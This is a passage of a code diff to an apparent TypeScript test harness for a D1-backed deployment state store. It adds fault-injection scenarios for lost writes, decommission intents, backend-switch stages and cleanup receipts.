+    accountId: 'account-primary',
+  });
+  let current = await seedStore.get(spec.tenantTag, spec.environment);
+  if (!current) {
+    const seeded = boundedDecommissionRecord(spec, input.seedAtD1).record;
+    await seedStore.withDeploymentLease(
+      seeded.tenantTag,
+      seeded.environment,
+      (lease) => lease.put(seeded),
+    );
+    current = seeded;
+  }
+
+  const delegate = new D1FleetStateDatabase(db);
+  let lostWriteCount = 0;
+  let precommitWriteFailureCount = 0;
+  const database: FleetStateDatabase =
+    input.loseWrite || input.failWriteBeforeCommit
+      ? {
+          query: (sql, bindings) => delegate.query(sql, bindings),
+          execute: (sql, bindings) => delegate.execute(sql, bindings),
+          async batch(statements) {
+            if (
+              input.failWriteBeforeCommit &&
+              precommitWriteFailureCount === 0
+            ) {
+              precommitWriteFailureCount += 1;
+              throw new Error('bounded coordinator write failed before commit');
+            }
+            const result = await delegate.batch(statements);
+            if (input.loseWrite && lostWriteCount === 0) {
+              lostWriteCount += 1;
+              throw new Error('bounded coordinator write response lost');
+            }
+            return result;
+          },
+        }
+      : delegate;
+  const store = new D1FleetStateStore(database, {
+    accountId: 'account-primary',
+  });
+  const resource = current.applicationResources?.[0];
+  if (!resource) throw new Error('bounded decommission resource missing');
+  const backend = new BoundedDecommissionBackend(
+    db,
+    input.tenantTag,
+    resource,
+    resource.state !== 'deleted',
+    current.decommissionIntent?.state,
+    {
+      afterScan: input.afterScan,
+      loseReceiptResponse: input.loseReceiptResponse,
+      loseDeleteResponse: input.loseDeleteResponse,
+    },
+  );
+  const result = await advanceDecommissionDeployment({
+    backend,
+    store: providerAssertionStore(db, input.tenantTag, store),
+    spec,
+    action: input.operation,
+    maxProviderRequests: 12,
+    clock: () => Date.parse('2026-08-30T00:00:00.000Z'),
+    randomUUID: () =>
+      input.tenantTag === 'advance'
+        ? '00000000-0000-4000-8000-000000000101'
+        : '00000000-0000-4000-8000-000000000102',
+  });
+  const stored = await store.get(spec.tenantTag, spec.environment);
+  const provider = await readBoundedProviderState(db, input.tenantTag);
+  const claims = await db
+    .prepare(
+      `SELECT resource_type, resource_name, resource_role
+       FROM ${PLATFORM_CLAIM_TABLE}
+       WHERE resource_set_key = ?
+       ORDER BY resource_type, resource_name, resource_role`,
+    )
+    .bind(`deployment:${spec.tenantTag}:${spec.environment}`)
+    .all<{
+      resource_type: string;
+      resource_name: string;
+      resource_role: string;
+    }>();
+  return {
+    result,
+    trace: backend.events,
+    phase: stored?.phase,
+    lifecyclePhase: stored?.decommissionIntent?.lifecyclePhase,
+    intentState: stored?.decommissionIntent?.state,
+    revision: stored?.decommissionIntent?.revision,
+    generation: stored?.decommissionIntent?.generation,
+    resourceStates:
+      stored?.applicationResources?.map(({ state }) => state) ?? [],
+    bucketName: resource.bucketName,
+    lostWriteCount,
+    precommitWriteFailureCount,
+    provider: {
+      databaseId: provider.database_id,
+      databasePresent: provider.database_present === 1,
+      observedDatabaseId: provider.observed_database_id,
+      observedDatabaseName: provider.observed_database_name,
+      owner: provider.owner,
+      receiptAuthority: provider.receipt_authority,
+      receiptOperationId: provider.receipt_operation_id,
+      receiptLocation: provider.receipt_location,
+      receiptSize: provider.receipt_size,
+      receiptSha256: provider.receipt_sha256,
+      receiptCommitCount: provider.receipt_commit_count,
+      exportCallCount: provider.export_call_count,
+      deleteCount: provider.delete_count,
+      ownershipAssertionCount: provider.ownership_assertion_count,
+    },
+    claims: claims.results.map((claim) => ({
+      resourceType: claim.resource_type,
+      resourceName: claim.resource_name,
+      resourceRole: claim.resource_role,
+    })),
+  };
+}
+
+async function resetBoundedDecommission(
+  db: D1Database,
+  tenantTag: 'advance' | 'advancelost',
+): Promise<unknown> {
+  await db
+    .prepare(`DELETE FROM ${PLATFORM_CLAIM_TABLE} WHERE resource_set_key = ?`)
+    .bind(`deployment:${tenantTag}:production`)
+    .run();
+  await db
+    .prepare(
+      `DELETE FROM ${STATE_TABLE}
+       WHERE tenant_tag = ? AND environment = 'production'`,
+    )
+    .bind(tenantTag)
+    .run();
+  await db
+    .prepare(
+      `DELETE FROM ${LEASE_TABLE}
+       WHERE tenant_tag = ? AND environment = 'production'`,
+    )
+    .bind(tenantTag)
+    .run();
+  await db
+    .prepare(`DELETE FROM ${BOUNDED_PROVIDER_TABLE} WHERE tenant_tag = ?`)
+    .bind(tenantTag)
+    .run();
+  return { reset: true };
+}
+
 function errorShape(error: unknown): unknown {
   if (error instanceof AggregateError) {
     return {
@@ -151,7 +963,7 @@ async function clean(db: D1Database): Promise<void> {
 }
 
 async function readyStore(db: D1Database): Promise<D1FleetStateStore> {
-  const store = new D1FleetStateStore(database(db), {
+  const store = new D1FleetStateStore(new D1FleetStateDatabase(db), {
     accountId: 'account-primary',
   });
   await store.get('warm', 'test');
@@ -172,7 +984,7 @@ async function concurrentAcquisition(db: D1Database): Promise<unknown> {
     settleLosers = resolve;
   });
   const attempts = Array.from({ length: 16 }, () => {
-    const store = new D1FleetStateStore(database(db), {
+    const store = new D1FleetStateStore(new D1FleetStateDatabase(db), {
       accountId: 'account-primary',
     });
     return store
@@ -268,7 +1080,7 @@ async function renewal(db: D1Database): Promise<unknown> {
 
 async function takeoverAndFence(db: D1Database): Promise<unknown> {
   const staleStore = await readyStore(db);
-  const winnerStore = new D1FleetStateStore(database(db), {
+  const winnerStore = new D1FleetStateStore(new D1FleetStateDatabase(db), {
     accountId: 'account-primary',
   });
   let staleLease: FleetStateLease | undefined;
@@ -441,7 +1253,7 @@ async function forcedLifecycleErrors(
   kind: 'deployment' | 'platform',
 ): Promise<unknown> {
   await readyStore(db);
-  const store = new D1FleetStateStore(database(db), {
+  const store = new D1FleetStateStore(new D1FleetStateDatabase(db), {
     accountId: 'account-primary',
     leaseTtlMs: 1_000,
     leaseRenewalIntervalMs: 100,
@@ -575,7 +1387,7 @@ async function platformClaimsAndConcurrency(db: D1Database): Promise<unknown> {
 
 async function platformTakeoverAndFence(db: D1Database): Promise<unknown> {
   const staleStore = await readyStore(db);
-  const winnerStore = new D1FleetStateStore(database(db), {
+  const winnerStore = new D1FleetStateStore(new D1FleetStateDatabase(db), {
     accountId: 'account-primary',
   });
   let staleLease: PlatformPlaneLease | undefined;
@@ -705,19 +1517,21 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise<unknown> {
   await store.withDeploymentLease(plain.tenantTag, plain.environment, (lease) =>
     lease.put(plain),
   );
+  const externalPolicy = canonicalDeploymentEgressPolicy({
+    policyId: 'policy-claimc',
+    tenantTag: 'claimc',
+    environment: 'production',
+    allowedHosts: [],
+  });
   const external = {
     ...record('claimc', 'production'),
     backend: 'workers-for-platforms' as const,
     scriptName: plain.scriptName,
-    outboundPolicy: canonicalDeploymentEgressPolicy({
-      policyId: 'policy-claimc',
-      tenantTag: 'claimc',
-      environment: 'production',
-      allowedHosts: [],
-    }),
+    outboundPolicy: externalPolicy,
     platformResources: {
       maintenanceCapabilityPublicKey:
         platformSet.maintenanceCapabilityPublicKey,
+      outboundPolicy: externalPolicy,
       stateWorker: {
         scriptName: plain.scriptName,
         artifactVersion: 'bridge-version',
@@ -726,6 +1540,22 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise<unknown> {
         durableObjectBindings: [],
         namespaceIds: [],
       },
+      egressProxy: {
+        scriptName: 'claimc-production-egress',
+        artifactVersion: 'bridge-egress-version',
+        artifactDigest: 'c'.repeat(64),
+        ...externalPolicy,
+      },
+    },
+    platformTarget: {
+      maintenanceCapabilityPublicKey:
+        platformSet.maintenanceCapabilityPublicKey,
+      stateArtifactDigest: 'a'.repeat(64),
+      stateDurableObjectHistoryDigest: 'b'.repeat(64),
+      egressArtifactDigest: 'c'.repeat(64),
+      d1SchemaVersion: 1,
+      d1SchemaHistoryDigest: 'd'.repeat(64),
+      outboundPolicy: externalPolicy,
     },
   };
   let bridgeCollision: unknown;
@@ -771,10 +1601,11 @@ async function crossPlaneClaimExclusion(db: D1Database): Promise<unknown> {
 
 async function atomicClaimBatch(db: D1Database): Promise<unknown> {
   await readyStore(db);
-  const delegate = database(db);
+  const delegate = new D1FleetStateDatabase(db);
   let loseResponse = true;
-  const lostResponseDatabase: FleetStateDatabase = {
-    ...delegate,
+  const failAfterCommitDatabase: FleetStateDatabase = {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
     async batch(statements) {
       const result = await delegate.batch(statements);
       if (loseResponse) {
@@ -784,7 +1615,7 @@ async function atomicClaimBatch(db: D1Database): Promise<unknown> {
       return result;
     },
   };
-  const store = new D1FleetStateStore(lostResponseDatabase, {
+  const store = new D1FleetStateStore(failAfterCommitDatabase, {
     accountId: 'account-primary',
   });
   const applicationResources = Array.from({ length: 32 }, (_, index) => ({
@@ -813,19 +1644,21 @@ async function atomicClaimBatch(db: D1Database): Promise<unknown> {
   await store.withDeploymentLease('atomic', 'production', (lease) =>
     lease.put(intended),
   );
+  const switchedPolicy = canonicalDeploymentEgressPolicy({
+    policyId: 'policy-atomic',
+    tenantTag: 'atomic',
+    environment: 'production',
+    allowedHosts: [],
+  });
   const switched: FleetRecord = {
     ...intended,
     backend: 'workers-for-platforms',
     phase: 'ready',
-    outboundPolicy: canonicalDeploymentEgressPolicy({
-      policyId: 'policy-atomic',
-      tenantTag: 'atomic',
-      environment: 'production',
-      allowedHosts: [],
-    }),
+    outboundPolicy: switchedPolicy,
     platformResources: {
       maintenanceCapabilityPublicKey:
         platformSet.maintenanceCapabilityPublicKey,
+      outboundPolicy: switchedPolicy,
       stateWorker: {
         scriptName: intended.scriptName,
         artifactVersion: 'bridge-version',
@@ -834,6 +1667,22 @@ async function atomicClaimBatch(db: D1Database): Promise<unknown> {
         durableObjectBindings: [],
         namespaceIds: [],
       },
+      egressProxy: {
+        scriptName: 'atomic-production-egress',
+        artifactVersion: 'bridge-egress-version',
+        artifactDigest: 'c'.repeat(64),
+        ...switchedPolicy,
+      },
+    },
+    platformTarget: {
+      maintenanceCapabilityPublicKey:
+        platformSet.maintenanceCapabilityPublicKey,
+      stateArtifactDigest: 'a'.repeat(64),
+      stateDurableObjectHistoryDigest: 'b'.repeat(64),
+      egressArtifactDigest: 'c'.repeat(64),
+      d1SchemaVersion: 1,
+      d1SchemaHistoryDigest: 'd'.repeat(64),
+      outboundPolicy: switchedPolicy,
     },
   };
   await store.withDeploymentLease('atomic', 'production', (lease) =>
@@ -904,26 +1753,343 @@ async function finalLeaseAssertionRollback(db: D1Database): Promise<unknown> {
   };
 }
 
-async function backendSwitchColumnUpgrade(db: D1Database): Promise<unknown> {
-  const store = await readyStore(db);
-  const base = record('legacyswitch', 'production');
-  const policy = canonicalDeploymentEgressPolicy({
-    policyId: 'policy-legacyswitch',
+const SWITCH_LOST_TENANT = 'switchlost';
+const SWITCH_LOST_RECEIPT_AUTHORITY =
+  'memory://fleet-exports/backend-switch/receipts/v1';
+const SWITCH_LOST_EXPORT: DatabaseExport = {
+  databaseId: 'database-switchlost-production',
+  location: 'memory://fleet-exports/backend-switch/switchlost.sql',
+  sha256: 'f'.repeat(64),
+  size: 37,
+};
+
+type BackendSwitchLostWriteStage =
+  | 'reset'
+  | 'start'
+  | 'cursor'
+  | 'receipt'
+  | 'barrier'
+  | 'terminal';
+
+function backendSwitchLostWriteSource(): FleetRecord {
+  const base = record(SWITCH_LOST_TENANT, 'production');
+  const outboundPolicy = canonicalDeploymentEgressPolicy({
+    policyId: 'policy-switchlost',
     tenantTag: base.tenantTag,
     environment: base.environment,
     allowedHosts: [],
   });
-  const legacy: FleetRecord = {
+  const target = {
+    maintenanceCapabilityPublicKey: platformSet.maintenanceCapabilityPublicKey,
+    stateArtifactDigest: 'a'.repeat(64),
+    stateDurableObjectHistoryDigest: 'b'.repeat(64),
+    egressArtifactDigest: 'c'.repeat(64),
+    d1SchemaVersion: base.schemaVersion,
+    d1SchemaHistoryDigest: 'd'.repeat(64),
+    outboundPolicy,
+  } as const;
+  const current: FleetRecord = {
     ...base,
-    backendSwitchIntent: {
-      kind: 'backend-switch',
-      tenantTag: base.tenantTag,
-      environment: base.environment,
-      prior: {
+    backend: 'workers-for-platforms',
+    outboundPolicy,
+    platformTarget: target,
+    platformResources: {
+      maintenanceCapabilityPublicKey:
+        platformSet.maintenanceCapabilityPublicKey,
+      outboundPolicy,
+      stateWorker: {
         scriptName: base.scriptName,
-        artifactVersion: base.artifactVersion,
-        specDigest: base.desiredSpecDigest,
-        databaseId: base.databaseId,
+        artifactVersion: 'bridge-switchlost-v1',
+        artifactDigest: target.stateArtifactDigest,
+        plane: 'ordinary',
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: 'switchlost-production-egress',
+        artifactVersion: 'egress-switchlost-v1',
+        artifactDigest: target.egressArtifactDigest,
+        ...outboundPolicy,
+      },
+    },
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  };
+  const prior = {
+    scriptName: current.scriptName,
+    artifactVersion: current.artifactVersion,
+    specDigest: current.desiredSpecDigest,
+    databaseId: current.databaseId,
+    databaseName: current.databaseName,
+    durableObjectBindings: [],
+    namespaceIds: [],
+    secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+    application: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    customDomain: {
+      id: 'domain-switchlost',
+      hostname: current.routeHostname,
+    },
+  } as const;
+  return backendSwitchDecommissionRecordFixture(
+    current,
+    {
+      kind: 'backend-switch',
+      tenantTag: current.tenantTag,
+      environment: current.environment,
+      prior,
+      targetSpecDigest: current.desiredSpecDigest,
+      targetApplication: { vars: [], secrets: [], r2Buckets: [] },
+      target,
+      rollbackUntil: '2026-09-30T00:00:00.000Z',
+      subphase: 'decommission-export-authorized',
+      applicationR2Progress: [],
+      decommissionSnapshot: {
+        prior,
+        restoredArtifactVersion: null,
+        entryPendingArtifactVersion: null,
+        entryPendingNamespaceIds: null,
+        providerTargetSpecDigest: current.desiredSpecDigest,
+        routeHostname: current.routeHostname,
+        routeTargets: [],
+        desiredSpecDigest: current.desiredSpecDigest,
+        target,
+        releases: [],
+        applicationResources: [],
+      },
+    },
+    { subphase: 'decommission-export-authorized' },
+  );
+}
+
+function backendSwitchShellCommon(
+  shell: DecommissionAdvanceIntent,
+  revision: number,
+  updatedAt: string,
+): Omit<
+  Extract<DecommissionAdvanceIntent, { readonly state: 'transitioning' }>,
+  'lifecyclePhase' | 'state'
+> {
+  return {
+    version: 1,
+    operationId: shell.operationId,
+    revision,
+    generation: shell.generation,
+    updatedAt,
+    identity: shell.identity,
+    ...(shell.databaseExportReceiptAuthority
+      ? {
+          databaseExportReceiptAuthority: shell.databaseExportReceiptAuthority,
+        }
+      : {}),
+  };
+}
+
+function backendSwitchLostWriteNext(
+  current: FleetRecord,
+  stage: Exclude<BackendSwitchLostWriteStage, 'reset' | 'start'>,
+): FleetRecord {
+  const intent = current.backendSwitchIntent;
+  const shell = current.decommissionIntent;
+  if (!intent || !shell || shell.state === 'complete') {
+    throw new Error('bounded backend-switch harness authority is absent');
+  }
+  const revision = shell.revision + 1;
+  const updatedAt = `2026-08-30T00:00:${String(revision).padStart(2, '0')}.000Z`;
+  const common = backendSwitchShellCommon(shell, revision, updatedAt);
+  if (stage === 'cursor') {
+    const decommissionIntent: DecommissionAdvanceIntent = {
+      ...common,
+      databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY,
+      lifecyclePhase: 'application-resources-deleted',
+      state: 'discover',
+      purpose: {
+        kind: 'database-pre-export',
+        databaseId: current.databaseId,
+      },
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: current.databaseId,
+      }),
+    };
+    return {
+      ...current,
+      decommissionIntent,
+      updatedAt,
+    };
+  }
+  if (stage === 'receipt') {
+    const decommissionIntent: DecommissionAdvanceIntent = {
+      ...common,
+      databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY,
+      lifecyclePhase: 'database-exported',
+      state: 'transitioning',
+    };
+    return {
+      ...current,
+      backendSwitchIntent: {
+        ...intent,
+        subphase: 'decommission-exported',
+        databaseExport: SWITCH_LOST_EXPORT,
+      },
+      decommissionIntent,
+      databaseExportLocation: SWITCH_LOST_EXPORT.location,
+      databaseExportSha256: SWITCH_LOST_EXPORT.sha256,
+      databaseExportSize: SWITCH_LOST_EXPORT.size,
+      updatedAt,
+    };
+  }
+  if (stage === 'barrier') {
+    const decommissionIntent: DecommissionAdvanceIntent = {
+      ...common,
+      databaseExportReceiptAuthority: SWITCH_LOST_RECEIPT_AUTHORITY,
+      lifecyclePhase: 'database-deleting',
+      state: 'transitioning',
+    };
+    return {
+      ...current,
+      backendSwitchIntent: {
+        ...intent,
+        subphase: 'decommission-database-authorized',
+      },
+      decommissionIntent,
+      updatedAt,
+    };
+  }
+  return backendSwitchDecommissionRecordFixture(
+    current,
+    {
+      ...intent,
+      subphase: 'decommissioned',
+      databaseExport: SWITCH_LOST_EXPORT,
+      applicationR2Progress: [],
+    },
+    {
+      operationId: shell.operationId,
+      revision,
+      generation: shell.generation,
+      ...(intent.decommissionEntrySubphase
+        ? { entrySubphase: intent.decommissionEntrySubphase }
+        : {}),
+      subphase: 'decommissioned',
+      updatedAt,
+    },
+  );
+}
+
+async function backendSwitchLostWriteStep(
+  db: D1Database,
+  input: Readonly<{
+    stage: BackendSwitchLostWriteStage;
+    loseWrite?: boolean;
+  }>,
+): Promise<unknown> {
+  if (input.stage === 'reset') {
+    await readyStore(db);
+    await db
+      .prepare(
+        `DELETE FROM ${STATE_TABLE} WHERE tenant_tag = ? AND environment = 'production'`,
+      )
+      .bind(SWITCH_LOST_TENANT)
+      .run();
+    await db
+      .prepare(
+        `DELETE FROM ${LEASE_TABLE} WHERE tenant_tag = ? AND environment = 'production'`,
+      )
+      .bind(SWITCH_LOST_TENANT)
+      .run();
+    await db
+      .prepare(`DELETE FROM ${PLATFORM_CLAIM_TABLE} WHERE resource_set_key = ?`)
+      .bind(`deployment:${SWITCH_LOST_TENANT}:production`)
+      .run();
+    return { reset: true };
+  }
+  const delegate = new D1FleetStateDatabase(db);
+  let lostWriteCount = 0;
+  const database: FleetStateDatabase = {
+    query: (sql, bindings = []) => delegate.query(sql, bindings),
+    execute: (sql, bindings = []) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      const results = await delegate.batch(statements);
+      if (
+        input.loseWrite &&
+        lostWriteCount === 0 &&
+        statements.some(({ sql }) => sql.includes(`INSERT INTO ${STATE_TABLE}`))
+      ) {
+        lostWriteCount += 1;
+        throw new Error('bounded backend-switch D1 write response lost');
+      }
+      return results;
+    },
+  };
+  const store = new D1FleetStateStore(database, {
+    accountId: 'account-primary',
+  });
+  const current = await store.get(SWITCH_LOST_TENANT, 'production');
+  const next =
+    input.stage === 'start'
+      ? backendSwitchLostWriteSource()
+      : current
+        ? backendSwitchLostWriteNext(current, input.stage)
+        : (() => {
+            throw new Error('bounded backend-switch harness record is absent');
+          })();
+  await store.withDeploymentLease(SWITCH_LOST_TENANT, 'production', (lease) =>
+    lease.put(next),
+  );
+  const persisted = await new D1FleetStateStore(new D1FleetStateDatabase(db), {
+    accountId: 'account-primary',
+  }).get(SWITCH_LOST_TENANT, 'production');
+  const raw = await db
+    .prepare(
+      `SELECT backend_switch_intent, decommission_intent
+       FROM ${STATE_TABLE}
+       WHERE tenant_tag = ? AND environment = 'production'`,
+    )
+    .bind(SWITCH_LOST_TENANT)
+    .first<{
+      backend_switch_intent: string | null;
+      decommission_intent: string | null;
+    }>();
+  return {
+    lostWriteCount,
+    phase: persisted?.phase,
+    switchSubphase: persisted?.backendSwitchIntent?.subphase,
+    shellState: persisted?.decommissionIntent?.state,
+    shellRevision: persisted?.decommissionIntent?.revision,
+    lifecyclePhase: persisted?.decommissionIntent?.lifecyclePhase,
+    scanStage:
+      persisted?.decommissionIntent?.state === 'discover' ||
+      persisted?.decommissionIntent?.state === 'verify'
+        ? persisted.decommissionIntent.progress.stage
+        : undefined,
+    databaseExportLocation: persisted?.databaseExportLocation,
+    columnsPresent:
+      typeof raw?.backend_switch_intent === 'string' &&
+      typeof raw.decommission_intent === 'string',
+  };
+}
+
+async function backendSwitchColumnUpgrade(db: D1Database): Promise<unknown> {
+  const store = await readyStore(db);
+  const base = record('legacyswitch', 'production');
+  const policy = canonicalDeploymentEgressPolicy({
+    policyId: 'policy-legacyswitch',
+    tenantTag: base.tenantTag,
+    environment: base.environment,
+    allowedHosts: [],
+  });
+  const legacy: FleetRecord = {
+    ...base,
+    backendSwitchIntent: {
+      kind: 'backend-switch',
+      tenantTag: base.tenantTag,
+      environment: base.environment,
+      prior: {
+        scriptName: base.scriptName,
+        artifactVersion: base.artifactVersion,
+        specDigest: base.desiredSpecDigest,
+        databaseId: base.databaseId,
         databaseName: base.databaseName,
         durableObjectBindings: [],
         namespaceIds: [],
@@ -964,7 +2130,7 @@ async function backendSwitchColumnUpgrade(db: D1Database): Promise<unknown> {
     .bind(base.tenantTag, base.environment)
     .run();
 
-  const upgraded = await new D1FleetStateStore(database(db), {
+  const upgraded = await new D1FleetStateStore(new D1FleetStateDatabase(db), {
     accountId: 'account-primary',
   }).get(base.tenantTag, base.environment);
   const raw = await db
@@ -987,55 +2153,2791 @@ async function backendSwitchColumnUpgrade(db: D1Database): Promise<unknown> {
   };
 }
 
-async function cloudflareRateCoordination(db: D1Database): Promise<unknown> {
+async function decommissionIntentColumnUpgrade(
+  db: D1Database,
+): Promise<unknown> {
+  await readyStore(db);
   await db
-    .prepare('DROP TABLE IF EXISTS anchorage_cloudflare_api_rate_reservations')
+    .prepare(`ALTER TABLE ${STATE_TABLE} DROP COLUMN decommission_intent`)
     .run();
-  const quotaScope = 'real-d1-shared-provider-principal';
-  const first = new D1CloudflareApiRateCoordinator(db, { quotaScope });
-  const second = new D1CloudflareApiRateCoordinator(db, { quotaScope });
-  await first.acquire();
-  await db
+  const store = new D1FleetStateStore(new D1FleetStateDatabase(db), {
+    accountId: 'account-primary',
+  });
+  const intended = decommissionRecord('intentupgrade', 1);
+  await store.withDeploymentLease(
+    intended.tenantTag,
+    intended.environment,
+    (lease) => lease.put(intended),
+  );
+  const columns = await db
+    .prepare(`PRAGMA table_info(${STATE_TABLE})`)
+    .all<{ name: string }>();
+  const upgraded = await store.get(intended.tenantTag, intended.environment);
+  return {
+    phase: upgraded?.phase,
+    revision: upgraded?.decommissionIntent?.revision,
+    columns: columns.results
+      .map(({ name }) => name)
+      .filter((name) => ADDED_NULLABLE_TEXT_COLUMNS.includes(name as never)),
+  };
+}
+
+async function decommissionIntentLostResponse(
+  db: D1Database,
+): Promise<unknown> {
+  await readyStore(db);
+  const delegate = new D1FleetStateDatabase(db);
+  let lose: 'exact' | 'changed' | undefined = 'exact';
+  const database: FleetStateDatabase = {
+    query: (sql, bindings) => delegate.query(sql, bindings),
+    execute: (sql, bindings) => delegate.execute(sql, bindings),
+    async batch(statements) {
+      const results = await delegate.batch(statements);
+      const failure = lose;
+      if (!failure) return results;
+      lose = undefined;
+      if (failure === 'changed') {
+        await db
+          .prepare(
+            `UPDATE ${STATE_TABLE}
+             SET decommission_intent = json_set(
+               decommission_intent, '$.revision', 3
+             )
+             WHERE tenant_tag = 'intentlost'
+               AND environment = 'production'`,
+          )
+          .run();
+      }
+      throw new Error(`committed ${failure} D1 batch response lost`);
+    },
+  };
+  const store = new D1FleetStateStore(database, {
+    accountId: 'account-primary',
+  });
+  const first = decommissionRecord('intentlost', 1);
+  await store.withDeploymentLease(first.tenantTag, first.environment, (lease) =>
+    lease.put(first),
+  );
+  const exact = await store.get(first.tenantTag, first.environment);
+
+  lose = 'changed';
+  let changedFailure: unknown;
+  try {
+    await store.withDeploymentLease(
+      first.tenantTag,
+      first.environment,
+      (lease) => lease.put(decommissionRecord('intentlost', 2)),
+    );
+  } catch (error) {
+    changedFailure = errorShape(error);
+  }
+  const final = await store.get(first.tenantTag, first.environment);
+  const claim = await db
     .prepare(
-      'DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?',
+      `SELECT COUNT(*) AS count FROM ${PLATFORM_CLAIM_TABLE}
+       WHERE resource_set_key = 'deployment:intentlost:production'`,
     )
-    .bind(quotaScope)
-    .run();
-  await db
-    .prepare(`WITH RECURSIVE sequence(value) AS (
-      SELECT 1 UNION ALL SELECT value + 1 FROM sequence WHERE value < 1099
+    .first<{ count: number }>();
+  return {
+    exactRevision: exact?.decommissionIntent?.revision,
+    changedFailure,
+    finalRevision: final?.decommissionIntent?.revision,
+    claimCount: Number(claim?.count),
+  };
+}
+
+function cleanupIntentFor(base: FleetRecord): CleanupAdvanceIntent {
+  return {
+    version: 1,
+    operationId: '00000000-0000-4000-8000-0000000000aa',
+    revision: 0,
+    generation: 0,
+    updatedAt: '2026-08-11T00:00:00.000Z',
+    authority: { kind: 'manual-cleanup' },
+    identity: {
+      record: {
+        tenantTag: base.tenantTag,
+        environment: base.environment,
+        backend: base.backend,
+        scriptName: base.scriptName,
+        databaseId: base.databaseId,
+        databaseName: base.databaseName,
+        routeHostname: base.routeHostname,
+      },
+      admittedPhase: 'worker-deployed',
+      externalArtifact: false,
+    },
+    state: { step: 'database-deletion' },
+  };
+}
+
+function cleanupAdvancingFixture(
+  tenantTag: string,
+  operationId?: string,
+): FleetRecord {
+  const base = {
+    ...record(tenantTag, 'production'),
+    phase: 'cleanup-advancing' as const,
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+  };
+  const intent = cleanupIntentFor(base);
+  return {
+    ...base,
+    cleanupIntent: operationId ? { ...intent, operationId } : intent,
+  };
+}
+
+function cleanupReceiptFor(active: FleetRecord): CleanupTerminalReceipt {
+  const intent = active.cleanupIntent;
+  if (!intent) throw new Error('fixture record has no cleanup intent');
+  return {
+    version: 1,
+    operationId: intent.operationId,
+    tenantTag: active.tenantTag,
+    environment: active.environment,
+    backend: active.backend,
+    scriptName: active.scriptName,
+    databaseId: active.databaseId,
+    databaseName: active.databaseName,
+    authority: 'manual-cleanup',
+    admittedPhase: intent.identity.admittedPhase,
+    disposition: 'prepublication-owned-no-export',
+    evidence: {
+      eligibility: 'carrier-null',
+      ingressRemoved: true,
+      workerAbsent: true,
+      platformResourcesAbsent: true,
+      applicationR2Settled: true,
+      databaseAbsentReadback: true,
+      scan: {
+        discover: { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 },
+        verify: { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 },
+      },
+    },
+  };
+}
+
+async function cleanupClaimCount(
+  db: D1Database,
+  tenantTag: string,
+): Promise<number> {
+  const row = await db
+    .prepare(
+      `SELECT COUNT(*) AS count FROM ${PLATFORM_CLAIM_TABLE}
+       WHERE resource_set_key = ?`,
     )
-    INSERT INTO anchorage_cloudflare_api_rate_reservations (
-      quota_scope, reservation_id, reserved_at
+    .bind(`deployment:${tenantTag}:production`)
+    .first<{ count: number }>();
+  return Number(row?.count);
+}
+
+async function cleanupReceiptCount(db: D1Database): Promise<number> {
+  const row = await db
+    .prepare(`SELECT COUNT(*) AS count FROM ${CLEANUP_RECEIPT_TABLE}`)
+    .first<{ count: number }>();
+  return Number(row?.count);
+}
+
+async function cleanupTerminalReceipt(db: D1Database): Promise<unknown> {
+  const store = await readyStore(db);
+  await db.prepare(`DELETE FROM ${CLEANUP_RECEIPT_TABLE}`).run();
+  const active = cleanupAdvancingFixture('cleanupterm');
+  const receipt = cleanupReceiptFor(active);
+  return store.withDeploymentLease(
+    'cleanupterm',
+    'production',
+    async (lease) => {
+      if (!lease.completeCleanup) {
+        throw new Error('completeCleanup capability missing');
+      }
+      await lease.put(active);
+      const claimsBefore = await cleanupClaimCount(db, 'cleanupterm');
+      const stale = await lease
+        .completeCleanup({ receipt, expectedRevision: 4 })
+        .then(
+          () => undefined,
+          (error: unknown) => errorShape(error),
+        );
+      const rowAfterStale = await store.get('cleanupterm', 'production');
+      const receiptsAfterStale = await cleanupReceiptCount(db);
+      const persisted = await lease.completeCleanup({
+        receipt,
+        expectedRevision: 0,
+      });
+      const claimsAfter = await cleanupClaimCount(db, 'cleanupterm');
+      const rowAfter = await store.get('cleanupterm', 'production');
+      const replay = await lease.completeCleanup({
+        receipt,
+        expectedRevision: 0,
+      });
+      const reordered: CleanupTerminalReceipt = {
+        ...receipt,
+        evidence: {
+          scan: {
+            verify: { evidenceCount: 2, evidenceSha256: 'b'.repeat(64) },
+            discover: { evidenceCount: 2, evidenceSha256: 'b'.repeat(64) },
+          },
+          databaseAbsentReadback: true,
+          applicationR2Settled: true,
+          platformResourcesAbsent: true,
+          workerAbsent: true,
+          ingressRemoved: true,
+          eligibility: 'carrier-null',
+        },
+      };
+      const keyOrderReplay = await lease.completeCleanup({
+        receipt: reordered,
+        expectedRevision: 0,
+      });
+      const conflict = await lease
+        .completeCleanup({
+          receipt: { ...receipt, disposition: 'reservation-cleared' },
+          expectedRevision: 0,
+        })
+        .then(
+          () => undefined,
+          (error: unknown) => errorShape(error),
+        );
+      const foreign = await lease
+        .completeCleanup({
+          receipt: { ...receipt, tenantTag: 'other' },
+          expectedRevision: 0,
+        })
+        .then(
+          () => undefined,
+          (error: unknown) => errorShape(error),
+        );
+      await lease.put(record('cleanupterm', 'production'));
+      const reprovisioned = await store.get('cleanupterm', 'production');
+      const survivingReceipt = await store.readCleanupReceipt?.(
+        receipt.operationId,
+      );
+      return {
+        stale,
+        rowPhaseAfterStale: rowAfterStale?.phase ?? null,
+        receiptsAfterStale,
+        claimsBefore,
+        claimsAfter,
+        rowAfterTerminal: rowAfter?.phase ?? null,
+        persistedHasCompletedAt: typeof persisted.completedAtMs === 'number',
+        replayEqual: JSON.stringify(replay) === JSON.stringify(persisted),
+        keyOrderReplayEqual:
